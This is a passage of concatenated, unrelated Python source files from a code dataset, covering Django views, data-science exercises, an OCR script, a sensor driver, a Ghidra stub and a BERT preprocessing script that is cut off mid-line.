quotation = status_builder.create_quotation_from_activity( self.user, activity) self.assertEqual(quotation.content, 'commentary') self.assertEqual(quotation.quote, 'quote body') self.assertEqual(quotation.book, self.book) self.assertEqual( quotation.published_date, '2020-05-10T02:38:31.150343+00:00')
20,114
47dad8d2cea89a6280dbc1718bd4c5702a2b4ced
from rest_framework import viewsets, filters from rest_framework.decorators import api_view from django_filters.rest_framework import DjangoFilterBackend, OrderingFilter from django.shortcuts import render, redirect from django.contrib import messages from books.api.serializers import BookSerializer from books.models import Book, Writer, Genre import requests class BookViewSet(viewsets.ModelViewSet): queryset = Book.objects.all() lookup_field = "id_field" serializer_class = BookSerializer filter_backends = [DjangoFilterBackend, filters.OrderingFilter] filterset_fields = ['published_date', 'authors'] ordering_fields = ['published_date'] def post_db(request): template = 'index.html' if request.method == 'GET': return render(request, template) response = requests.get("https://www.googleapis.com/books/v1/volumes?q=war") if response.status_code != 200: messages.error(request, 'There is some problem with the API site, status code: ' + str(response.status_code)) return redirect('upload') data = response.json() authors = [] categories = [] for element in data['items']: try: for member in element['volumeInfo']['authors']: if Writer.objects.filter(name=member).exists(): authors.append(member) else: authors.append(member) Writer.objects.create(name=member) except KeyError: pass try: for item in element['volumeInfo']['categories']: if Genre.objects.filter(name=item).exists(): categories.append(item) else: categories.append(item) Genre.objects.create(name=item) except KeyError: pass if Book.objects.filter(id_field=element['id']).exists(): instance = Book.objects.get(id_field=element['id']) instance.authors.clear() instance.categories.clear() try: average_rating=element['volumeInfo']['averageRating'] except KeyError: average_rating=None try: ratings_count=element['volumeInfo']['ratingsCount'] except KeyError: ratings_count=0 try: thumbnail=element['volumeInfo']['imageLinks']['thumbnail'] except KeyError: thumbnail="" Book.objects.filter(id_field=element['id']).update( id_field=element['id'], title=element['volumeInfo']['title'], published_date=element['volumeInfo']['publishedDate'][0:4], average_rating=average_rating, ratings_count=ratings_count, thumbnail=thumbnail ) instance = Book.objects.get(id_field=element['id']) for element in authors: instance.authors.add(Writer.objects.get(name=element)) for element in categories: instance.categories.add(Genre.objects.get(name=element)) authors = [] categories = [] else: try: average_rating=element['volumeInfo']['averageRating'] except KeyError: average_rating=None try: ratings_count=element['volumeInfo']['ratingsCount'] except KeyError: ratings_count=0 Book.objects.create( id_field=element['id'], title=element['volumeInfo']['title'], published_date=element['volumeInfo']['publishedDate'][0:4], average_rating=average_rating, ratings_count=ratings_count, thumbnail=element['volumeInfo']['imageLinks']['thumbnail'] ) instance = Book.objects.get(id_field=element['id']) for element in authors: instance.authors.add(Writer.objects.get(name=element)) for element in categories: instance.categories.add(Genre.objects.get(name=element)) authors = [] categories = [] messages.success(request, 'Books from the database have been updated!') return redirect('upload')
20,115
c21b83fe381ba30afa4dfac9fec809269416c8d3
def DailyTemperature(arr): day = list() for i in range(0, len(arr)): length = 0 for j in range(i, len(arr)): if arr[j] > arr[i]: break else: length += 1 else: length = 0 day.append(length) return day arr = [73, 74, 75, 71, 69, 72, 76, 73] day = DailyTemperature(arr) print(day)
20,116
168147169f47d52e1be70cd09cf7b604c0e0943a
from pyspark.sql import SparkSession from pyspark.sql import functions as func from delta.tables import * #Added config so we can post spark packages spark = SparkSession.builder\ .master('local')\ .appName('delta-test')\ .config("spark.jars.packages", "io.delta:delta-core_2.12:0.7.0")\ .config("spark.sql.extensions", "io.delta.sql.DeltaSparkSessionExtension")\ .getOrCreate() dt = spark.range(1, 3) print(dt) #dt.write.format("delta").mode("overwrite").save("file:///mac/python/spar1/abcd") dt.write\ .format("delta")\ .mode("overwrite")\ .option("overwriteSchema","True")\ .save("/mac/python/spar1/tp") #writing to delta table #dt.write.format("delta").mode("overwrite").saveAsTable("tp1") dt1 = spark.range(5, 8) # #dt1 = dt1.withColumn("id",func.col("id").cast("String")) dt1.write.format("delta").mode("append").save("tp") ## Trying to read the same parquet #df2 = spark.read.parquet('tp') #df2.show() ##Load data frame in to delta table delta_df2 = DeltaTable.forPath(spark,"/mac/python/spar1/tp") print(delta_df2.toDF())
20,117
48e2328fe220c15c980e4dbf7ba5686de86e9751
from datetime import date from django.contrib.auth.decorators import login_required from django.shortcuts import render from .forms import Calibracao_form, Pesquisa_form from .models import Calibracao @login_required def calib_home(request): return render(request, 'calibracoes_home.html') @login_required def list_calib(request): form = Pesquisa_form(request.POST or None) if form.is_valid(): inicio = date( int(form.data['inicio'][6:10]), int(form.data['inicio'][3:5]), int(form.data['inicio'][0:2]), ) fim = date( int(form.data['fim'][6:10]), int(form.data['fim'][3:5]), int(form.data['fim'][0:2]), ) calibracoes = Calibracao.objects.filter( dt_calib__gte=inicio, dt_calib__lte=fim ) return render( request, 'calibracoes_list.html', {'calibracoes': calibracoes} ) return render(request, 'pesquisa_form.html', {'form': form}) @login_required def cad_calib(request): form = Calibracao_form(request.POST or None, request.FILES or None) tipo = 'Calibração' if form.is_valid(): form.save() return render(request, 'calibracoes_home.html', {'tipo': tipo}) return render( request, 'calibracoes_form.html', { 'form': form, 'tipo': tipo, } )
20,118
68b2ef5e83fe8272784a640f09601c95617d1af6
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Oct 11 17:21:40 2017 @author: zhenliu """ import numpy as np import pandas as pd import scipy.optimize as op import matplotlib.pyplot as plt #def color(x): # if (x == 1.0): # return 'red' # else: # return 'blue' # return(); #def symbol(x): # if (x == 1.0): # return 'o' # else: # return '+' # return(); #xx = pd.Series([1.0, 0.0]) def sigmoid( M ): sigm = 1/(1+np.exp(-M)) return(sigm); #print (sigmoid(X)) def mapfeature( X1, X2 ): degree = 6 n = degree + 1 nfeatures = int((1 + degree + 1) * (degree+1)/2) nsamples = X1.shape[0] # print (nfeatures,nsamples) mf = np.ones(shape=(nsamples,nfeatures)) # print (mf) kk=0 for i in range(n): for j in range(i+1): A = X2**j B = X1**(i-j) mf[:,kk] = A*B kk = kk + 1; # print (mf) return(mf); #print (mapfeature( X1, X2 )) #print (mapfeature( A,B)) def costfunc( theta, X, y, lamda ): nfeatures = X.shape[1] nsamples = X.shape[0] Ja = 0.0 Jb = 0.0 for i in range(nsamples): hx = sigmoid( X[i,:].dot(theta) ) Ja = Ja + (-(np.log(hx))*y[i]-(1-y[i])*(np.log(1-hx)))/nsamples; for j in range(1,nfeatures): Jb = Jb + lamda * ((theta[j])**2) / (2 * nsamples); J = Ja + Jb; return(J); def gradient( theta, X, y, lamda ): nfeatures = X.shape[1] nsamples = X.shape[0] grad = np.zeros(shape=(nfeatures,1)) for i in range(nsamples): hx = sigmoid( X[i,:].dot(theta) ) grad[0] = grad[0] + (hx - y[i]) * X[i,0]/nsamples for j in range(1,nfeatures): for i in range(nsamples): hx = sigmoid( X[i,:].dot(theta) ) grad[j] = grad[j] + (hx - y[i]) * X[i,j]/nsamples; grad[j] = grad[j] + lamda * theta[j]/nsamples; return(grad); def plotdb( theta ): num = 50 xa = np.linspace(-1.0, 1.25, num) xb = np.linspace(-1.0, 1.25, num) h = np.zeros(shape=(num,num)) for i in range(num): ka = xa[i] a = np.array([ka]) for j in range(num): kb = xb[j] b = np.array([kb]) h[i,j] = np.dot(mapfeature( a, b ),theta); plt.contour(xa,xb,h.T,levels=[0.]) # z = np.sin(xx**2 + yy**2) / (xx**2 + yy**2) # plt.contourf(xa,xb,z) return(); fname = "ex2data2.txt" R = np.loadtxt(fname,delimiter=',') y = R[:,2] X = R[:,:2] X1 = X[:,0] X2 = X[:,1] K = mapfeature( X1, X2 ) lamda = 1 nfeatures = K.shape[1] #print ('# of features is ', nfeatures); theta = np.zeros(shape=(nfeatures,1)) #print ( costfunc( theta, K, y, lamda)); #print ( gradient( theta, K, y, lamda)); Result = op.minimize(fun = costfunc,x0 = theta, args = (K, y, lamda), method = 'TNC', jac = gradient); optimal_theta = Result.x; #print (optimal_theta); #PLOT plt.figure(figsize=(5.,5.)) plotdb( optimal_theta ) #plt.scatter(R[:,0], R[:,1], s=10, marker='o', c=pd.Series(R[:,2]).apply(lambda x: color(x))) mapping1 = { 1 : '^', 0 : 'o' } mapping2 = { 1 : 'red', 0 : 'blue'} for i in range(len(y)): plt.scatter(X1[i], X2[i], s=20, marker=mapping1[y[i]], c=mapping2[y[i]] ); plt.xlabel('feature x1') plt.ylabel('feature x2') plt.savefig('fig_ex2.pdf',bbox_inches='tight') plt.show() #test #A = np.array([1,2,3,4]) #B = np.array([2,3,4,5]) #print ((A-1)*B) #test #xa = ([0,1,2]) #xb = ([1,2,3]) #k = xa[2] #a = np.array([k])
20,119
36ac3ea14c561b946941e8eb4c586f456d8963b6
num = input("Enter the number : ") for itr in range(10,0,-1): print(str(num)+" x "+str(itr)+" = "+str(num*itr))
20,120
ca204e058824390bccb7117ea231fcb93d890bd2
import os def disk_usage(path): total = os.path.getsize(path) if os.path.isdir(path): for filename in os.listdir(path): child = os.path.join(path, filename) total += disk_usage(child) print('{0:<7}'.format(total), path) return total if __name__ == '__main__': print(disk_usage(os.getcwd()))
20,121
67f47047633c01bd8eaa4d00f2d20f25c8ec9433
# import the necessary packages from imutils import contours import numpy as np import argparse import imutils import cv2 import pytesseract from PIL import Image, ImageFilter import os # construct the argument parser and parse the arguments ap = argparse.ArgumentParser() ap.add_argument("-i", "--image", required=True, help="path to input image") args = vars(ap.parse_args()) # initialize a rectangular (wider than it is tall) and square # structuring kernel rectKernel = cv2.getStructuringElement(cv2.MORPH_RECT, (9, 3)) sqKernel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5)) # read image and resize image = cv2.imread(args["image"]) image = imutils.resize(image, width=500, height=100) # test original output # cv2.imshow("Original output", image) # cv2.waitKey(0) # change color to gray gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # test gray output # cv2.imshow("Gray output", gray) # cv2.waitKey(0) # apply a tophat (whitehat) morphological operator to find light # regions against a dark background tophat = cv2.morphologyEx(gray, cv2.MORPH_TOPHAT, rectKernel) # test tophat output # cv2.imshow("Tophat output", tophat) # cv2.waitKey(0) # compute the Scharr gradient of the tophat image, then scale # the rest back into the range [0, 255] gradX = cv2.Sobel(tophat, ddepth=cv2.CV_32F, dx=1, dy=0, ksize=-1) gradX = np.absolute(gradX) (minVal, maxVal) = (np.min(gradX), np.max(gradX)) gradX = (255 * ((gradX - minVal) / (maxVal - minVal))) gradX = gradX.astype("uint8") # test gradX output # cv2.imshow("GradX output", gradX) # cv2.waitKey(0) # apply a closing operation using the rectangular kernel to help # cloes gaps in between data gradX = cv2.morphologyEx(gradX, cv2.MORPH_CLOSE, rectKernel) # test gradX output # cv2.imshow("GradX output", gradX) # cv2.waitKey(0) # then apply Otsu's thresholding method to binarize the image thresh = cv2.threshold(gradX, 0, 255,cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1] # test thresh output # cv2.imshow("Thresh output", thresh) # cv2.waitKey(0) # apply a second closing operation to the binary image, again # to help close gaps between ktm data regions thresh = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, sqKernel) # test thresh output # cv2.imshow("Thresh output", thresh) # cv2.waitKey(0) # find contours in the thresholded image, then initialize the # list of digit locations cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE) cnts = cnts[0] if imutils.is_cv2() else cnts[1] data = [] # loop over the contours for (i, c) in enumerate(cnts): (x, y, w, h) = cv2.boundingRect(c) x = x - 5 y = y - 5 w = w + 8 h = h + 8 ar = w / float(h) # check for height and width if w > 80 and h < 25: # crop selected region and change color to gray cropped = image[y:y+h, x:x+w] gray = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY) # scale image and doing image processing scale_x = 5 block = cv2.resize(gray, (int(gray.shape[1] * scale_x), int(gray.shape[0] * scale_x))) block = cv2.erode(block,(9,9)) block = cv2.GaussianBlur(block, (3, 3), 0) # change data format into array and filter it pil_img = Image.fromarray(block) block_pil = pil_img.filter(ImageFilter.SHARPEN) # convert block pil to image with pytesseract ocr = pytesseract.image_to_string(block_pil) data.append(ocr) # display the change # print x, y, w, h, '\n' # cv2.rectangle(image, (x, y), (x + w, y + h), (255, 255, 255), 2) # cv2.putText(image, ocr, (x+w+10, y+h), cv2.FONT_HERSHEY_SIMPLEX, 0.55, (0, 0, 255), 2) # cv2.imshow("img", image) # cv2.waitKey(0) # optional, to pring data in terminal data_npm = ["NPM", "NAMA", "FAKULTAS", "JURUSAN"] data_output = list(reversed(data)) for i, data in enumerate(data_output): if i < 2: print data_npm[i], '\t\t:', data elif i >= 2 and i <= 3: print data_npm[i], '\t:', data
20,122
82f68f6b1b3c38ae9f5289e890f20bb7045dce68
#!/usr/bin/python """ Riple-dribe Project MPU6050 Gyro Class Handles communication between a Raspberry Pi and the MPU6050 Gyroscope using I2C protocol MPU6050 is big-endian """ import CalcUtils import smbus class MPU6050: # Registers PWR_MGMT_1 = 0x6B PWR_MGMT_2 = 0x6C # LOW = HIGH + 1 GYRO_XOUT0 = 0x43 GYRO_YOUT0 = 0x45 GYRO_ZOUT0 = 0x47 ACCEL_XOUT0 = 0x3B ACCEL_YOUT0 = 0x3D ACCEL_ZOUT0 = 0x3F # Constants DEFAULT_I2C_ADDRESS = 0x68 # 0x68 -> AD0 = 0; 0x69 ->AD0 = 1 WAKE = 0 DEFAULT_BUS = 1 DEFAULT_SCALING = 16384.0 # (LSB/g) For Sensitivity Scale Factor AFS_SEL=0 # Vars __address = None __bus = None # holds actual I2C device def __init__( self, address = None, smbus = None ): """ Initializes address and bus Wakes up device from sleeping mode ### COULD CHECK FOR THE CORRECT DEVICE AND TEST IT """ if not address: address = self.DEFAULT_I2C_ADDRESS self.__address = address if not bus: bus = self.DEFAULT_BUS self.__bus = smbus.SMBus( bus ) self.__bus.write_byte_data( self.address, self.PWR_MGMT_1, self.WAKE ) def get_gyroXYZ( self ): """ Gets gyroscope values """ gyro_xout = self.__read_i2c_word( GYRO_XOUT0 ) gyro_yout = self.__read_i2c_word( GYRO_YOUT0 ) gyro_zout = self.__read_i2c_word( GYRO_ZOUT0 ) return [gyro_xout, gyro_yout, gyro_zout] def get_accelXYZ( self ): """ Gets gyroscope values """ accel_xout = self.__read_i2c_word( ACCEL_XOUT0 ) accel_yout = self.__read_i2c_word( ACCEL_YOUT0 ) accel_zout = self.__read_i2c_word( ACCEL_ZOUT0 ) accel_xout_scaled = accel_xout / self.DEFAULT_SCALING accel_yout_scaled = accel_yout / self.DEFAULT_SCALING accel_zout_scaled = accel_zout / self.DEFAULT_SCALING return [accel_xout_scaled, accel_yout_scaled, accel_zout_scaled] def get_anglesXY( self ): """ Gets acceleration data and calculates angles for X and Y """ [accel_xout_scaled, accel_yout_scaled, _] = self.get_accelXYZ() rot_x = get_x_angle( accel_xout_scaled, accel_yout_scaled, accel_zout_scaled ) rot_y = get_y_angle( accel_xout_scaled, accel_yout_scaled, accel_zout_scaled ) return [rot_x, rot_y] def __read_i2c_word( self, regHigh, regLow=None ): """ Reads 16-bit values, concatenates them and transforms from two's complement ### TODO: CHECK IF BIG-ENDIAN!!! High and low registers are sequential Documentation ??????????? https://github.com/bivab/smbus-cffi/blob/master/smbus/smbus.py """ if not regLow: regLow = regHigh + 1 high = self.__bus.read_byte_data( self.__address, regHigh ) low = self.__bus.read_byte_data( self.__address, regLow ) return transform_data( high, low )
20,123
95b398274302177f8e2b26dffc29e2dc1f778760
""" multivariate binned regression with one-hot interactions (visualization in 3D) """ import numpy as np from itertools import product """MAKE DATA""" def data(): X = np.array(tuple(product(range(10),range(10))), dtype=np.float16) X += np.random.normal(loc=0, scale=0.1, size=X.shape) # add some error/displacement to the x-points X += X.min(axis=0).__abs__() # shift all xy-plane-points into the 1st quadrant (just for aesthetics) y = np.sin(X[:,0]) + np.cos(X[:,1]) + X[:,0]*X[:,1]/100 y = y + np.random.normal(loc=0, scale=y.std()/6) # add some error to the target return(X,y) X,y = data() n_bins = 4 """MAKE TEST DATA""" r = np.linspace(X.min(), X.max(), 200) # r =range Xtest = np.array(tuple(product(r,r))) """MAKE A PREPOCESSING AND MODELING PIPELINE""" from sklearn.pipeline import make_pipeline, make_union from sklearn.preprocessing import StandardScaler, KBinsDiscretizer from sklearn.linear_model import LinearRegression class OneHotInteraction: def __init__(self, n_bins): self.n_bins = n_bins def fit(self, X, y=None):return(self) def transform(self, X): from sklearn.preprocessing import KBinsDiscretizer from numpy import hstack Xonehots, Xinteractions = list(),list() for feature in X.T: Xoh = KBinsDiscretizer(n_bins=self.n_bins, encode='onehot-dense', strategy='uniform').fit_transform(feature.reshape(-1,1)) Xonehots.append(Xoh) Xinteractions.append(Xoh * feature[:,None]) X_onehots_interactions = hstack([*Xonehots, *Xinteractions]) return X_onehots_interactions tr = OneHotInteraction(n_bins=n_bins) md = LinearRegression(fit_intercept=False) pl = make_pipeline(tr, md) pl.fit(X,y) """PREDICT""" ypred = pl.predict(Xtest) """VISUALIZE""" import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D fig = plt.figure() sp = fig.add_subplot(111, projection="3d") sp.plot(*X.T, y, '.', alpha=1, color='b') n = int(np.sqrt(len(Xtest))); assert n%1==0 XX,YY,ZZ = (nd.reshape(n,n) for nd in (*Xtest.T, ypred)) sp.plot_surface(XX,YY,ZZ, cmap=plt.cm.viridis_r) plt.show()
20,124
9e4e77557ed5e5e503e9dfefbb5854f3196617c7
from typing import List import ghidra.app.plugin import ghidra.app.plugin.core.functiongraph import ghidra.app.plugin.core.functiongraph.mvc import ghidra.app.util.viewer.format import ghidra.framework.model import ghidra.framework.options import ghidra.framework.plugintool import ghidra.framework.plugintool.util import ghidra.program.model.listing import ghidra.program.util import java.lang class FunctionGraphPlugin(ghidra.app.plugin.ProgramPlugin, ghidra.framework.options.OptionsChangeListener): GROUP_ADD_ICON: javax.swing.ImageIcon = jar:file:/Applications/ghidra_9.2.1_PUBLIC/Ghidra/Features/FunctionGraph/lib/FunctionGraph.jar!/images/shape_square_add.png GROUP_ICON: javax.swing.ImageIcon = jar:file:/Applications/ghidra_9.2.1_PUBLIC/Ghidra/Features/FunctionGraph/lib/FunctionGraph.jar!/images/shape_handles.png UNGROUP_ICON: javax.swing.ImageIcon = jar:file:/Applications/ghidra_9.2.1_PUBLIC/Ghidra/Features/FunctionGraph/lib/FunctionGraph.jar!/images/shape_ungroup.png def __init__(self, __a0: ghidra.framework.plugintool.PluginTool): ... def acceptData(self, __a0: List[ghidra.framework.model.DomainFile]) -> bool: ... def dataStateRestoreCompleted(self) -> None: ... def dependsUpon(self, __a0: ghidra.framework.plugintool.Plugin) -> bool: ... def equals(self, __a0: object) -> bool: ... def eventSent(self, __a0: ghidra.framework.plugintool.PluginEvent) -> None: ... def firePluginEvent(self, __a0: ghidra.framework.plugintool.PluginEvent) -> None: ... def getClass(self) -> java.lang.Class: ... def getColorProvider(self) -> ghidra.app.plugin.core.functiongraph.FGColorProvider: ... def getCurrentProgram(self) -> ghidra.program.model.listing.Program: ... def getData(self) -> List[ghidra.framework.model.DomainFile]: ... def getFunctionGraphOptions(self) -> ghidra.app.plugin.core.functiongraph.mvc.FunctionGraphOptions: ... def getLayoutProviders(self) -> List[object]: ... def getMissingRequiredServices(self) -> List[object]: ... def getName(self) -> unicode: ... def getPluginDescription(self) -> ghidra.framework.plugintool.util.PluginDescription: ... @staticmethod def getPluginName(__a0: java.lang.Class) -> unicode: ... def getProgramHighlight(self) -> ghidra.program.util.ProgramSelection: ... def getProgramLocation(self) -> ghidra.program.util.ProgramLocation: ... def getProgramSelection(self) -> ghidra.program.util.ProgramSelection: ... def getSupportedDataTypes(self) -> List[java.lang.Class]: ... def getTool(self) -> ghidra.framework.plugintool.PluginTool: ... def getTransientState(self) -> object: ... def getUndoRedoState(self, __a0: ghidra.framework.model.DomainObject) -> object: ... def getUserDefinedFormat(self) -> ghidra.app.util.viewer.format.FormatManager: ... def handleProviderHighlightChanged(self, __a0: ghidra.app.plugin.core.functiongraph.FGProvider, __a1: ghidra.program.util.ProgramSelection) -> None: ... def handleProviderLocationChanged(self, __a0: ghidra.app.plugin.core.functiongraph.FGProvider, __a1: ghidra.program.util.ProgramLocation) -> None: ... def handleProviderSelectionChanged(self, __a0: ghidra.app.plugin.core.functiongraph.FGProvider, __a1: ghidra.program.util.ProgramSelection) -> None: ... def hasMissingRequiredService(self) -> bool: ... def hashCode(self) -> int: ... def isDisposed(self) -> bool: ... def notify(self) -> None: ... def notifyAll(self) -> None: ... def optionsChanged(self, __a0: ghidra.framework.options.ToolOptions, __a1: unicode, __a2: object, __a3: object) -> None: ... def processEvent(self, __a0: ghidra.framework.plugintool.PluginEvent) -> None: ... def readConfigState(self, __a0: ghidra.framework.options.SaveState) -> None: ... def readDataState(self, __a0: ghidra.framework.options.SaveState) -> None: ... def restoreTransientState(self, __a0: object) -> None: ... def restoreUndoRedoState(self, __a0: ghidra.framework.model.DomainObject, __a1: object) -> None: ... def serviceAdded(self, __a0: java.lang.Class, __a1: object) -> None: ... def serviceRemoved(self, __a0: java.lang.Class, __a1: object) -> None: ... def setUserDefinedFormat(self, __a0: ghidra.app.util.viewer.format.FormatManager) -> None: ... def toString(self) -> unicode: ... @overload def wait(self) -> None: ... @overload def wait(self, __a0: long) -> None: ... @overload def wait(self, __a0: long, __a1: int) -> None: ... def writeConfigState(self, __a0: ghidra.framework.options.SaveState) -> None: ... def writeDataState(self, __a0: ghidra.framework.options.SaveState) -> None: ... @property def colorProvider(self) -> ghidra.app.plugin.core.functiongraph.FGColorProvider: ... @property def functionGraphOptions(self) -> ghidra.app.plugin.core.functiongraph.mvc.FunctionGraphOptions: ... @property def layoutProviders(self) -> List[object]: ... @property def userDefinedFormat(self) -> ghidra.app.util.viewer.format.FormatManager: ... @userDefinedFormat.setter def userDefinedFormat(self, value: ghidra.app.util.viewer.format.FormatManager) -> None: ...
20,125
b3ef0e659e25f2d8d2b55a7e74b41ca84a4ff7af
import json import csv import string from utils import tokenize_sentence from relevance import rel_ranking from transformers import BertTokenizer, XLNetTokenizer import underthesea import math from random import shuffle # from underthesea import word_tokenize MAX_SEQ_LENGTH = 128 def sanitize(s): return s.replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') def dummy_split(text, ratio): # uwords = word_tokenize(q['text']) dummy = text.split(' ') steps = math.ceil(len(dummy)/ratio) r = [] for i in range(0, ratio): r.append(' '.join(dummy[i*steps:((i*steps) + steps) if i < (ratio - 1) else len(dummy)])) return r def new_main(model_type='bert'): content = None with open('./raw/all_train.json') as f: content = f.read() data = json.loads(content) countd, countm = 0, 0 ml = 0 if True: with open('./raw/masked_train.json') as f: content = f.read() data += json.loads(content) tokenizer = None if model_type == 'bert': tokenizer = BertTokenizer.from_pretrained('bert-base-multilingual-cased', cache_dir='./models', do_lower_case=False) else: tokenizer = XLNetTokenizer.from_pretrained('xlnet-base-cased', cache_dir='./models', do_lower_case=False) for q in data: # if not q['id'] == 'u4-1551859077_0': continue words = tokenizer.tokenize(q['text']) ml = len(words) if len(words) > ml else ml if len(words) > MAX_SEQ_LENGTH: sentences = tokenize_sentence(q['text']) sentences = [s for s in sentences if len(s) > 3] if len(sentences) < 2: ratio = math.ceil(len(words) * 1.0 / MAX_SEQ_LENGTH) sentences = dummy_split(q['text'], ratio); if q['label'] is True: # rank sentences = rel_ranking(q['question'], sentences) relcount = sum([1 if v[0] > 0 else 0 for v in sentences]) delta = sentences[0][0] - sentences[1][0] if relcount == 1: q['sentences'] = [(v[1], 1 if idx == 0 else 0) for idx, v in enumerate(sentences)] else: idx = 0 chosen = '' while len(tokenizer.tokenize(chosen + (' . ' if len(chosen) > 0 else '') + sentences[idx][1])) < MAX_SEQ_LENGTH: chosen = chosen + (' . ' if len(chosen) > 0 else '') + sentences[idx][1] idx += 1 q['sentences'] = [(chosen, 1)] q['sentences'] += [(s[1], 0) for s in sentences[idx:]] else: q['sentences'] = [(sen, 0) for sen in sentences] # if True: # print('---- count = ', countd) # return with open('./data/bert_train.tsv', 'w') as f: writer = csv.writer(f, delimiter='\t', quotechar=None) writer.writerow(('id', 'q_id', 'ans_id', 'question', 'answer', 'is_correct')) for idx, q in enumerate(data): if 'sentences' in q: q_id = q['id'] for aidx, sen in enumerate(q['sentences']): # writer.write(()) txt, is_correct = sen ans_id = q_id + '_ans_' + str(aidx) writer.writerow((str(idx), q_id, ans_id, sanitize(q['question']), sanitize(txt), str(is_correct))) else: is_correct = 1 if q['label'] else 0 q_id = q['id'] ans_id = q_id + '_ans_0' print(q['question']) print(q['text']) writer.writerow((str(idx), q_id, ans_id, sanitize(q['question']), sanitize(q['text']), str(is_correct))) # def new_main_2(): # content = None # with open('./raw/train.json') as f: # content = f.read() # data = json.loads(content) # countd, countm = 0, 0 # ml = 0 # tokenizer = BertTokenizer.from_pretrained('bert-base-multilingual-cased', cache_dir='./models', do_lower_case=False) # for q in data: # # if not q['id'] == 'u3-1557287872_0': continue # words = tokenizer.tokenize(q['title'] + ' . ' + q['text']) # ml = len(words) if len(words) > ml else ml # if len(words) > MAX_SEQ_LENGTH: # sentences = tokenize_sentence(q['text']) # # print('----------', sentences) # sentences = [s for s in sentences if len(s) > 3] # if len(sentences) < 2: # ratio = math.ceil(len(words) * 1.0 / MAX_SEQ_LENGTH) # sentences = dummy_split(q['text'], ratio); # if q['label'] is True: # # rank # sentences = rel_ranking(q['question'], sentences) # relcount = sum([1 if v[0] > 0 else 0 for v in sentences]) # delta = sentences[0][0] - sentences[1][0] # if relcount == 1: # q['sentences'] = [(q['title'] + ' . ' + v[1], 1 if idx == 0 else 0) for idx, v in enumerate(sentences)] # else: # idx = 0 # chosen = q['title'] # while len(tokenizer.tokenize(chosen + ' . ' + sentences[idx][1])) < MAX_SEQ_LENGTH: # chosen = chosen + ' . ' + sentences[idx][1] # idx += 1 # if idx == 0: # chosen = q['title'] + sentences[0][1] # idx = 1 # # let BERT do the work # q['sentences'] = [(chosen, 1)] # q['sentences'] += [(q['title'] + ' . ' + s[1], 0) for s in sentences[idx:]] # else: # q['sentences'] = [(q['title'] + ' . ' + sen, 0) for sen in sentences] # else: # q['text'] = q['title'] + ' . ' + q['text'] # # print(q ) # # return # with open('./data/train_with_title.tsv', 'w') as f: # writer = csv.writer(f, delimiter='\t') # writer.writerow(('id', 'q_id', 'ans_id', 'question', 'answer', 'is_correct')) # for idx, q in enumerate(data): # if 'sentences' in q: # q_id = q['id'] # for aidx, sen in enumerate(q['sentences']): # # writer.write(()) # txt, is_correct = sen # ans_id = q_id + '_ans_' + str(aidx) # writer.writerow((str(idx), q_id, ans_id, q['question'], txt.replace('\t', ' '), str(is_correct))) # else: # is_correct = 1 if q['label'] else 0 # q_id = q['id'] # ans_id = q_id + '_ans_0' # writer.writerow((str(idx), q_id, ans_id, q['question'], q['text'].replace('\t', ' '), str(is_correct))) def preprocess_test(model_type='bert'): content = None with open('./raw/test.json') as f: content = f.read() data = json.loads(content) tokenizer = None if model_type == 'bert': tokenizer = BertTokenizer.from_pretrained('bert-base-multilingual-cased', cache_dir='./models', do_lower_case=False) else: tokenizer = XLNetTokenizer.from_pretrained('xlnet-base-cased', cache_dir='./models', do_lower_case=False) rows = [] for q in data: for p in q['paragraphs']: words = tokenizer.tokenize(p['text']) if len(words) > MAX_SEQ_LENGTH: sentences = tokenize_sentence(p['text']) sentences = [s for s in sentences if len(s) > 3] if len(sentences) < 2: # can't tokenize # do smth stupid instead ratio = math.ceil(len(words) * 1.0 / MAX_SEQ_LENGTH) sentences = dummy_split(p['text'], ratio); for idx, sen in enumerate(sentences): rows.append((q['__id__'], p['id'] + '$$' + str(idx), q['question'], sen)) else: rows.append((q['__id__'], p['id'], q['question'], p['text'])) with open('./data/dev.tsv', 'w') as f: writer = csv.writer(f, delimiter = '\t', quotechar=None) writer.writerow(('id', 'q_id', 'ans_id', 'question', 'answer', 'is_correct')) for idx, row in enumerate(rows): q_id, ans_id, question, ans = row writer.writerow((str(idx), q_id, ans_id, sanitize(question), sanitize(ans), 0)) # def preprocess_test_2(): # content = None # with open('./raw/test.json') as f: # content = f.read() # data = json.loads(content) # tokenizer = BertTokenizer.from_pretrained('bert-base-multilingual-cased', cache_dir='./models', do_lower_case=False) # rows = [] # for q in data: # for p in q['paragraphs']: # words = tokenizer.tokenize(q['title'] + ' . ' + p['text']) # if len(words) > MAX_SEQ_LENGTH: # sentences = tokenize_sentence(p['text']) # sentences = [s for s in sentences if len(s) > 3] # if len(sentences) < 2: # # can't tokenize # # do smth stupid instead # ratio = math.ceil(len(words) * 1.0 / MAX_SEQ_LENGTH) # sentences = dummy_split(p['text'], ratio); # for idx, sen in enumerate(sentences): # rows.append((q['__id__'], p['id'] + '$$' + str(idx), q['question'], q['title'] + ' . ' + sen)) # else: # rows.append((q['__id__'], p['id'], q['question'], q['title'] + ' . ' + p['text'])) # with open('./data/dev_with_title.tsv', 'w') as f: # writer = csv.writer(f, delimiter = '\t') # writer.writerow(('id', 'q_id', 'ans_id', 'question', 'answer', 'is_correct')) # for idx, row in enumerate(rows): # q_id, ans_id, question, ans = row # writer.writerow((str(idx), q_id, ans_id, question, ans.replace('\t', ' '), 0)) # def preprocess_test_2(): # content = None # with open('./raw/test.json') as f: # content = f.read() # data = json.loads(content) # tokenizer = BertTokenizer.from_pretrained('bert-base-multilingual-cased', cache_dir='./models', do_lower_case=False) # rows = [] # count = 0 # for q in data: # for p in q['paragraphs']: # words = tokenizer.tokenize(p['text']) # if len(words) > MAX_SEQ_LENGTH: # sentences = tokenize_sentence(p['text']) # sentences = [s for s in sentences if len(s) > 3] # if len(sentences) < 2: # # can't tokenize # # do smth stupid instead # ratio = math.ceil(len(words) * 1.0 / MAX_SEQ_LENGTH) # sentences = dummy_split(p['text'], ratio); # for idx, sen in enumerate(sentences): # # join sentence instead of just truncating here # if idx < (len(sentences) - 1) and \ # len(tokenizer.tokenize(sen + ' . ' + 